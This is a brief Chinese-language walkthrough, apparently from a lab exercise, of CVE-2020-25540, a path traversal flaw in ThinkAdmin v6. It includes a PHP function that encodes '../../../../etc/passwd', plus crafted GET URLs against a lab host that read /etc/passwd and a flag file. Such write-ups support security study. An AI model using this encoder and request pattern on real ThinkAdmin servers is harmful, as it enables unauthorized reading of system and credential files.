🍉 === shell
来源:https://yunjing.ichunqiu.com/cve/detail/851?type=1&pay=2
漏洞信息
漏洞名称 | ThinkAdmin 路径遍历漏洞 |
---|---|
漏洞编号 | CVE-2020-25540 |
危害等级 | 高危 |
漏洞类型 | 路径遍历 |
漏洞厂商 | - |
漏洞组件 | - |
受影响版本 | Thinkadmin v6 |
漏洞概述 : ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统。
ThinkAdmin 6版本存在路径遍历漏洞。攻击者可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。
漏洞复现
数据库报错是因为这个漏洞与数据库无关,大概率是因为文件读取API没做授权导致的,所以直接发送GET请求即可,但请求文件路径需要加密:
菜鸟教程在线PHP环境
<?php
function encode($content){
list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
for ($i = 0; $i < $length; $i++)
$chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
return $chars;}$content="../../../../etc/passwd";
echo encode($content);
?>
这里请求读取/etc/passwd文件
http://eci-2zef7kaeyauuzu7g99q2.cloudeci1.ichunqiu.com/admin.html?s=admin/api.Update/get/encode/1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s
context的内容拉去base64解码:
BASE64在线解码
读取flag
同个道理:
获取路径加密后的字符串
发送GET请求
http://eci-2zef7kaeyauuzu7g99q2.cloudeci1.ichunqiu.com/admin.html?s=admin/api.Update/get/encode/1a1a1b1a1a1b1a1a1b1a1a1b2u302p2v
拿去base64解码